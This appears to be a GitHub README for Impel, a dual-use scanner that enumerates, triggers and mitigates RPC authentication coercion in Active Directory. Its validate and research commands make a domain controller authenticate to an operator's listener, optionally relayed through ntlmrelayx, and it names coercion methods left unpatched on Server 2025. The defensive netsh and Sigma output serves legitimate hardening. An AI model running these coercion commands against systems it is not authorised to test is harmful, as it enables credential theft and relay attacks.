cbev0x/impel

GitHub: cbev0x/impel

一款基于 Impacket 的 Linux 原生扫描器,用于枚举、验证和缓解 Windows Active Directory 环境中的 RPC 身份验证强制调用面。

Stars: 0 | Forks: 0

# Impel — RPC 强制调用面映射器 Linux 原生、基于 impacket 的扫描器,用于 Active Directory 环境中的 **RPC 身份验证强制调用面**。指纹识别哪些支持强制调用的接口可达,向您控制的监听器发送触发器以确认强制调用,生成可直接部署的缓解措施,并提供用于寻找未公开原语的研究框架。 ## 安装 ``` pip install impacket rich git clone https://github.com/cbev0x/impel cd impel ``` 无额外依赖。`wsp_packets.py` 内联捆绑了 WSP 数据包构建器(改编自 [RedTeam Pentesting 的 wspcoerce](https://github.com/RedTeamPentesting/wspcoerce)),因此没有外部 git 依赖。 ## 模块 ### `enum` — 强制调用面指纹识别 探测跨越所有候选命名管道的九向量知识库。将每个结果分类为 `REACHABLE`、`denied`、`no-iface` 或 `absent`。MS-WSP 探测使用原始 SMB 管道打开,而不是 DCERPC 绑定,因为 WSP 不是 DCERPC 协议。 ``` # 单台主机 python3 -m impel enum DC01.corp.lab -u user -p 'pass' -d corp.lab # 子网扫描 python3 -m impel enum 10.0.0.0/24 -u user -p 'pass' -d corp.lab # 仅特定 vector python3 -m impel enum DC01.corp.lab --vector MS-DFSNM --vector MS-EVEN \ -u user -p 'pass' -d corp.lab # 输出 JSON 以管道方式传入 defend python3 -m impel enum DC01.corp.lab -u user -p 'pass' -d corp.lab --json \ > surface.json # 传递哈希 python3 -m impel enum DC01.corp.lab -u user -H : -d corp.lab # Kerberos python3 -m impel enum DC01.corp.lab -k --dc-ip 10.0.0.1 -d corp.lab ``` ### `validate` — 触发与回连确认 向您控制的监听器发送强制调用触发器,并等待回连。已知的强制调用库中实现了八种触发器。 ``` # 内置监听器位于 :445(需要 root) sudo python3 -m impel validate DC01.corp.lab -L 10.10.10.50 \ -u user -p 'pass' -d corp.lab # 特定 vector sudo python3 -m impel validate DC01.corp.lab -L 10.10.10.50 \ --vector MS-DFSNM -u user -p 'pass' -d corp.lab # 高端口,无需 root python3 -m impel validate DC01.corp.lab -L 10.10.10.50 \ --http --http-port 8080 --bind-port 8080 \ -u user -p 'pass' -d corp.lab # 外部监听器(Responder / ntlmrelayx);仅触发 impel python3 -m impel validate DC01.corp.lab -L 10.10.10.50 --external \ -u user -p 'pass' -d corp.lab ``` ### `defend` — 缓解措施、netsh 脚本与 Sigma 规则 接收 enum 输出(通过 `--from-json`)或在内部运行 enum。生成按向量的缓解报告、每个主机可直接部署的 `netsh rpc filter` 脚本,以及针对每个检测到的向量族的 Sigma YAML 规则。 ``` # 将 enum JSON 直接通过管道传入 defend python3 -m impel enum DC01.corp.lab -u user -p 'pass' -d corp.lab --json | \ python3 -m impel defend --from-json - \ --netsh ./filters/ --sigma ./sigma/ # 在内部运行 enum python3 -m impel defend DC01.corp.lab -u user -p 'pass' -d corp.lab \ --netsh ./filters/ --sigma ./sigma/ # 在目标上应用生成的 filter(在 Windows 上运行) # netsh -f DC01_corp_lab_rpc_filter.txt ``` netsh 脚本在每个接口 UUID 上使用 `layer=um actiontype=block`,并通过 `netsh -f .txt` 应用。MS-WSP 被故意排除在 netsh 脚本之外——它不是 DCERPC,并且在 `um` 层没有基于 UUID 的 endpoint;正确的缓解措施是禁用服务,工具会在按向量的输出中记录这一点。 Sigma 输出涵盖每个向量族的三种规则类型:Sysmon 18(命名管道连接)、Sysmon 3(来自强制调用进程的出站网络连接)和 Security 4624(机器账户网络登录)。 ### `research` — EPM 转储与原语发现 ``` # 完整的 EPM 接口转储 — 与 vector DB 和 KNOWN_UUIDS 交叉比对 python3 -m impel research dump DC01.corp.lab # 启发式候选标记(named pipes 上的未知 UUID 得分最高) python3 -m impel research flag DC01.corp.lab --json # 在 opnum 范围内探测候选接口 # 使用 UNC 参数触发每个 opnum 并等待 connectback sudo python3 -m impel research probe DC01.corp.lab \ --uuid --pipe --opnums 0-20 \ -L 10.10.10.50 -u user -p 'pass' -d corp.lab ``` ## 向量知识库 ``` python3 -m impel vectors ``` | Vector | Family | Pipe | Coercion Method | Status on Server 2025 | |---|---|---|---|---| | MS-RPRN | PrinterBug | spoolss | RpcRemoteFindFirstPrinterChangeNotificationEx | 管道默认受控 | | MS-PAR | PrinterBug (async) | spoolss | RpcAsyncOpenPrinter | 管道默认受控 | | MS-EFSR | PetitPotam | lsarpc/efsrpc/samr/netlogon/lsass | EfsRpcOpenFileRaw | **已修复** — CVE-2021-36942,接口已移除 | | MS-EFSR-alt | PetitPotam | efsrpc/lsarpc | EfsRpcOpenFileRaw | **已修复** — 同上 | | MS-DFSNM | DFSCoerce | netdfs | NetrDfsRemoveStdRoot | **存活** — 无 CVE,未修复 | | MS-FSRVP | ShadowCoerce | FssagentRpc | IsPathShadowCopied | **已修复** — CVE-2022-30154 | | MS-EVEN | EventLog coercion | eventlog | ElfrOpenBELW | 触发,无出站身份验证 | | MS-EVEN6 | EventLog coercion v6 | eventlog | EvtRpcOpenLogHandle | 触发,无出站身份验证 | | MS-WSP | WSPCoerce | MsFteWds | CPMCreateQueryIn | **存活**(管理员,启用 Windows Search) | ## 输出约定 人类可读的输出进入 **stderr**(富终端)。`--json` 输出进入 **stdout**(纯净、可通过管道传输)。退出码:`0` = 发现调用面 / 确认强制调用,`1` = 未发现任何内容,`2` = 使用错误。 为 SMB 回连监听器绑定 `:445` 需要 root 权限。使用 `--external`、在高端口上使用 `--http` 或使用 `sudo` 作为替代方案。 ## Windows Server 2025 发现 已针对完全修补的 Windows Server 2025 域(build 26100)进行验证。在默认配置下,有两种强制调用原语得以幸存: - **MS-DFSNM (DFSCoerce)** — 确认使用域用户凭据进行强制调用。未分配 CVE,微软尚未修复此类经过身份验证的强制调用。 - **MS-WSP (WSPCoerce)** — 确认使用管理员凭据进行强制调用。Server 2025 默认禁用 Windows Search;管道 ACL 限制仅管理员账户可访问。 所有其他向量均已修补、默认受控或在服务级别被阻止。完整的分析请参见 [cbev0x.github.io](https://cbev0x.github.io) 上的随附文章。 ## 致谢 - Gilles Lionel ([@topotam77](https://twitter.com/topotam77)) — PetitPotam / MS-EFSR - Filip Dragovic ([@Wh04m1001](https://twitter.com/Wh04m1001)) — DFSCoerce / MS-DFSNM - Lee Christensen 和 Elad Shamir — PrinterBug / MS-RPRN - p0dalirius — [Coercer](https://github.com/p0dalirius/Coercer) 及系统性的强制调用语料库研究 - RedTeam Pentesting GmbH — [wspcoerce](https://github.com/RedTeamPentesting/wspcoerce),其 WSP 数据包构建器被改编用于 `wsp_packets.py` - [Impacket](https://github.com/fortra/impacket) — 贯穿始终的 RPC 传输、NDR 和 SMB 层 ## 许可证 MIT
标签:Active Directory, Plaso, Python, 无后门, 身份验证劫持, 逆向工具